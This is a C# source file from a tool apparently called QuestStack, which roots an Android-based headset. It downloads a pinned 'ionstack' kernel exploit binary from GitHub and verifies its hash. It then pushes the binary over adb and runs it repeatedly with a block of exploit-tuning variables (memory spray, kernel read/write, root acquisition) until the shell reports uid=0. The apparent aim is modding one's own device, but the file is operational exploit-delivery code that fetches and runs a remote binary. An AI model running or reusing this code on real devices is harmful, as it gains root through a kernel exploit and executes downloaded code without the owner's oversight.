RootExploit.cs

namespace QuestStack;

internal static class RootExploit
{
    private const string IonstackUrl =
        "https://raw.githubusercontent.com/darknight1050/quest1-bootloader-unlocker-web/513ae57d7ddd0011059df0fb2a875375b3f99dec/binaries/ionstack";
    private const string IonstackSha256 = "ECD366CEEFC0BAFD0CE8C35A9832FFCC425D2E80F915CCAE0E8B48B881977056";
    private const string RemoteIonstack = "/data/local/tmp/ionstack";

    private static readonly string[] EnvVars = new[]
    {
        "IONSTACK_STAGE=full",
        "IONSTACK_SPRAY_STALL=memfd",
        "IONSTACK_KS_CORE=7",
        "IONSTACK_KS_COLLISIONS=4",
        "IONSTACK_FOPS_SAFE_TABLE=0",
        "IONSTACK_TREE_ENTRY_WRITE=1",
        "IONSTACK_FOPS_LOCK_OWNER_MODE=",
        "IONSTACK_PAGE_SETUP_ATTEMPTS=8",
        "IONSTACK_MEMFD_GATE_MAX_FIRES=1",
        "IONSTACK_STALL_HOLD_MS=6000",
        "IONSTACK_PTRACE_ROUTE_ATTEMPTS=1",
        "IONSTACK_MIN_WINDOW=1",
        "IONSTACK_RECLAIM_PERF_COUNTERS=1",
        "IONSTACK_RECLAIM_PFN_IDENTITY=1",
        "IONSTACK_RECLAIM_PHYS_PFN_START=0x80000",
        "IONSTACK_RECLAIM_PHYS_PFN_END=0x180000",
        "IONSTACK_RECLAIM_REQUIRE_PFN_MATCH=1",
        "IONSTACK_PAYLOAD=",
        "IONSTACK_PAYLOAD_TIMEOUT=120",
        "IONSTACK_XRW_KMEM=1",
        "IONSTACK_XRW_ROOT=1",
        "IONSTACK_XRW_HOLD=1",
        "IONSTACK_ROOT_WALK_MAX=110",
        "IONSTACK_SELF_ROOT=0",
        "IONSTACK_KMEM_CFG_BUDGET=20000",
        "IONSTACK_PIPE_ORACLE_FAST=1"
    };

    public static string? PrepareVerifiedBinary(string cacheDirectory)
    {
        Directory.CreateDirectory(cacheDirectory);
        string destination = Path.Combine(cacheDirectory, "ionstack");
        string partial = destination + ".partial";

        if (File.Exists(destination) && HashMatches(destination))
        {
            Logger.Success("Using the cached SHA-256 verified ionstack binary.");
            return destination;
        }

        if (File.Exists(destination))
        {
            Logger.Warn("The cached ionstack binary failed SHA-256 verification and will be replaced.");
            File.Delete(destination);
        }

        if (File.Exists(partial))
            File.Delete(partial);

        Logger.Info("Downloading ionstack...");
        try
        {
            using var http = new HttpClient { Timeout = TimeSpan.FromMinutes(5) };
            http.DefaultRequestHeaders.UserAgent.ParseAdd("QuestStack/3.0.4");
            using HttpResponseMessage response = http.GetAsync(IonstackUrl, HttpCompletionOption.ResponseHeadersRead).Result;
            response.EnsureSuccessStatusCode();
            using Stream input = response.Content.ReadAsStreamAsync().Result;
            using (FileStream output = new(partial, FileMode.CreateNew, FileAccess.Write, FileShare.None))
            {
                input.CopyTo(output);
                output.Flush(flushToDisk: true);
            }

            if (!HashMatches(partial))
            {
                string actual = ComputeSha256(partial) ?? "unavailable";
                throw new InvalidDataException(
                    $"The ionstack download failed SHA-256 verification. Expected {IonstackSha256}, got {actual}.");
            }

            File.Move(partial, destination, overwrite: true);
            Logger.Success($"ionstack verified: SHA-256 {IonstackSha256}");
            return destination;
        }
        catch (Exception ex)
        {
            try { if (File.Exists(partial)) File.Delete(partial); } catch { }
            Logger.Error($"Could not prepare ionstack: {ex.Message}");
            return null;
        }
    }

    internal static bool HashMatches(string path)
    {
        string? actual = ComputeSha256(path);
        return string.Equals(actual, IonstackSha256, StringComparison.OrdinalIgnoreCase);
    }

    private static string? ComputeSha256(string path)
    {
        try
        {
            using FileStream stream = File.OpenRead(path);
            return Convert.ToHexString(System.Security.Cryptography.SHA256.HashData(stream));
        }
        catch
        {
            return null;
        }
    }

    public static bool Push(string ionstackBinPath)
    {
        Logger.Info("Pushing ionstack exploit to device...");

        var (code, output) = Adb.Push(ionstackBinPath, RemoteIonstack, 60_000);
        if (code != 0)
        {
            Logger.Error($"Failed to push ionstack: {output}");
            return false;
        }

        var (chmodCode, chmodOutput) = Adb.Shell($"chmod 755 {RemoteIonstack}");
        if (chmodCode != 0)
        {
            Logger.Error($"Could not make ionstack executable: {chmodOutput}");
            return false;
        }

        Logger.Success("Ionstack pushed.");
        return true;
    }

    public static bool IsRooted()
    {
        var (code, output) = Adb.Shell("id", 5000);
        return code == 0 && output.Contains("uid=0");
    }

    public static bool Run(int maxAttempts = 15)
    {
        string envBlock = string.Join(" ", EnvVars);
        string cmd = $"cd /data/local/tmp && {envBlock} {RemoteIonstack}";

        string[] successPatterns = new[] { "ROOT VERDICT root=1", "xrw: ROOT held" };

        for (int attempt = 1; attempt <= maxAttempts; attempt++)
        {
            Logger.Info($"Root attempt {attempt}/{maxAttempts}...");

            bool detected = Adb.RunStreamingShell(cmd, successPatterns, checkIntervalMs: 200, maxWaitMs: 120_000);

            if (detected)
            {
                Logger.Info("Exploit reported success. Confirming the ADB shell UID...");
                for (int check = 0; check < 10; check++)
                {
                    Thread.Sleep(1_000);
                    if (IsRooted())
                    {
                        Logger.Success("Confirmed: ADB shell is root.");
                        return true;
                    }
                }

                Logger.Warn("The exploit reported success, but ADB shell is not root. Retrying...");
                continue;
            }

            Logger.Warn("Exploit timed out without success. Retrying in 5s...");
            Thread.Sleep(5000);
        }

        Logger.Error("Failed after all attempts.");
        return false;
    }
}